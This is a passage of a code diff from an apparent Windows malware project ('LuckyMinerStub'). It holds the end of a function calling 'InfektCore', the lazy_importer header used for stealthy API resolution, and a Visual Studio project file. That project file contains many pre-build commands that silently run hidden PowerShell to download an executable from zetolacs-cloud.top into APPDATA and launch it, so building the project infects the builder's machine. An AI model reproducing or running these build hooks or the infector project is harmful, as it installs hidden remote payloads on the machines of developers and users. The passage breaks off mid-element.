SetThreadPriority(Loke, THREAD_PRIORITY_NORMAL);
__try
{
InfektCore();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
}
}
+729
View File
@@ -0,0 +1,729 @@
/*
* Copyright 2018-2022 Justas Masiulis
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// === FAQ === documentation is available at https://github.com/JustasMasiulis/lazy_importer
// * Code doesn't compile with errors about pointer conversion:
// - Try using `nullptr` instead of `NULL` or call `get()` instead of using the overloaded operator()
// * Lazy importer can't find the function I want:
// - Double check that the module in which it's located in is actually loaded
// - Try #define LAZY_IMPORTER_CASE_INSENSITIVE
// This will start using case insensitive comparison globally
// - Try #define LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
// This will enable forwarded export resolution globally instead of needing explicit `forwarded()` calls
#ifndef LAZY_IMPORTER_HPP
#define LAZY_IMPORTER_HPP
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#define LI_FN_DEF(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), name>()
#define LI_MODULE(name) ::li::detail::lazy_module<LAZY_IMPORTER_KHASH(name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
#define LAZY_IMPORTER_KHASH(str) ::li::detail::khash(str, \
::li::detail::khash_impl( __TIME__ __DATE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) LAZY_IMPORTER_STRINGIZE_EXPAND(__COUNTER__), 2166136261 ))
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
unsigned long Name;
unsigned long Base;
unsigned long NumberOfFunctions;
unsigned long NumberOfNames;
unsigned long AddressOfFunctions; // RVA from base of image
unsigned long AddressOfNames; // RVA from base of image
unsigned long AddressOfNameOrdinals; // RVA from base of image
};
struct IMAGE_DATA_DIRECTORY {
unsigned long VirtualAddress;
unsigned long Size;
};
struct IMAGE_OPTIONAL_HEADER64 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return (pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return static_cast<unsigned int>(
(value ^ ((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) *
static_cast<unsigned long long>(16777619));
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
LAZY_IMPORTER_FORCEINLINE forwarded_hashes hash_forwarded(
const char* str, unsigned offset) noexcept
{
forwarded_hashes res{ offset, offset };
for (; *str != '.'; ++str)
res.module_hash = hash_single<true>(res.module_hash, *str);
++str;
for (; *str; ++str)
res.function_hash = hash_single(res.function_hash, *str);
return res;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
#if defined(_M_X64) || defined(__amd64__)
#if defined(_MSC_VER)
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
#else
const win::PEB_T* ptr;
__asm__ __volatile__("mov %%gs:0x60, %0" : "=r"(ptr));
return ptr;
#endif
#elif defined(_M_IX86) || defined(__i386__)
#if defined(_MSC_VER)
return reinterpret_cast<const win::PEB_T*>(__readfsdword(0x30));
#else
const win::PEB_T* ptr;
__asm__ __volatile__("mov %%fs:0x30, %0" : "=r"(ptr));
return ptr;
#endif
#elif defined(_M_ARM) || defined(__arm__)
return *reinterpret_cast<const win::PEB_T**>(_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#elif defined(_M_ARM64) || defined(__aarch64__)
return *reinterpret_cast<const win::PEB_T**>(__getReg(18) + 0x60);
#elif defined(_M_IA64) || defined(__ia64__)
return *reinterpret_cast<const win::PEB_T**>(static_cast<char*>(_rdteb()) + 0x60);
#else
#error Unsupported platform. Open an issue and I'll probably add support.
#endif
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
unsigned long _ied_size;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return reinterpret_cast<const char*>(
_base + reinterpret_cast<const unsigned long*>(
_base + _ied->AddressOfNames)[index]);
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept
{
value = head->load_order_next();
}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e((const detail::win::LDR_DATA_TABLE_ENTRY_T*)(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in_cached(Ldr ldr) noexcept
{
auto& cached = lazy_base<lazy_module<OHP>>::_cache();
if (!cached)
cached = in(ldr);
return (T)(cached);
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F forwarded() noexcept
{
detail::win::UNICODE_STRING_T name;
forwarded_hashes hashes{ 0, get_hash(OHP) };
Enum e;
do {
name = e.value->BaseDllName;
name.Length -= 8; // get rid of .dll extension
if (!hashes.module_hash || hash(name, get_offset(OHP)) == hashes.module_hash) {
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == hashes.function_hash) {
const auto addr = exports.address(export_index);
if (exports.is_forwarded(addr)) {
hashes = hash_forwarded(
reinterpret_cast<const char*>(addr),
get_offset(OHP));
e.reset();
break;
}
return (F)(addr);
}
}
}
} while (e.next());
return {};
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe() noexcept
{
return forwarded<F, safe_module_enumerator>();
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F forwarded_cached() noexcept
{
auto& value = base_type::_cache();
if (!value)
value = forwarded<void*, Enum>();
return (F)(value);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F forwarded_safe_cached() noexcept
{
return forwarded_cached<F, safe_module_enumerator>();
}
template<class F = T, bool IsSafe = false, class Module>
LAZY_IMPORTER_FORCEINLINE static F in(Module m) noexcept
{
if (IsSafe && !m)
return {};
const exports_directory exports((const char*)(m));
if (IsSafe && !exports)
return {};
for (unsigned long i{};; ++i) {
if (IsSafe && i == exports.size())
break;
if (hash(exports.name(i), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(i));
}
return {};
}
template<class F = T, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_safe(Module m) noexcept
{
return in<F, true>(m);
}
template<class F = T, bool IsSafe = false, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_cached(Module m) noexcept
{
auto& value = base_type::_cache();
if (!value)
value = in<void*, IsSafe>(m);
return (F)(value);
}
template<class F = T, class Module>
LAZY_IMPORTER_FORCEINLINE static F in_safe_cached(Module m) noexcept
{
return in_cached<F, true>(m);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt() noexcept
{
return in<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_safe() noexcept
{
return in_safe<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_cached() noexcept
{
return in_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
}
template<class F = T>
LAZY_IMPORTER_FORCEINLINE static F nt_safe_cached() noexcept
{
return in_safe_cached<F>(ldr_data_entry()->load_order_next()->DllBase);
}
};
}
} // namespace li::detail
#endif // include guard
@@ -0,0 +1,990 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="base64.cpp" />
<ClCompile Include="BRSHt\reflective_loader.c" />
<ClCompile Include="BRSHt\syscalls.cpp" />
<ClCompile Include="deadlock_wrapper.cpp" />
<ClCompile Include="DLCK\deadlock.cpp" />
<ClCompile Include="Fokos.cpp" />
<ClCompile Include="LuckyMinerStub.cpp" />
<ClCompile Include="wnetwrap.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="base64.h" />
<ClInclude Include="BRSHt\reflective_loader.h" />
<ClInclude Include="BRSHt\syscalls.h" />
<ClInclude Include="deadlock_wrapper.h" />
<ClInclude Include="DLCK\deadlock.h" />
<ClInclude Include="DLCK\ntapi.h" />
<ClInclude Include="Encrypt.h" />
<ClInclude Include="ExInfector\commdef.h" />
<ClInclude Include="Fokos.h" />
<ClInclude Include="Functions.h" />
<ClInclude Include="Infector.h" />
<ClInclude Include="LI.h" />
<ClInclude Include="lib_SK5.h" />
<ClInclude Include="Spoof.h" />
<ClInclude Include="SpoofFuncs.h" />
<ClInclude Include="Utils.h" />
<ClInclude Include="wnetwrap.h" />
<!-- Additional include files -->
</ItemGroup>
<ItemGroup>
<MASM Include="BRSHt\syscall_trampoline_x64.asm" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{81846de7-2390-4709-b4ca-83cad77b16ed}</ProjectGuid>
<RootNamespace>LuckyCharmStub</RootNamespace>
<WindowsTargetPlatformVersion>10.0.26100.0</WindowsTargetPlatformVersion>
<ProjectName>LuckyMinerStub</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared" />
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<!-- Other PropertySheets sections -->
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(ProjectDir)cryptopp\include;$(ProjectDir)Mapper;$(ProjectDir);$(VC_IncludePath);$(WindowsSDK_IncludePath)</IncludePath>
<LibraryPath>$(ProjectDir)cryptopp\lib;$(LibraryPath)</LibraryPath>
<OutDir>..\output</OutDir>
<TargetName>Lukas</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
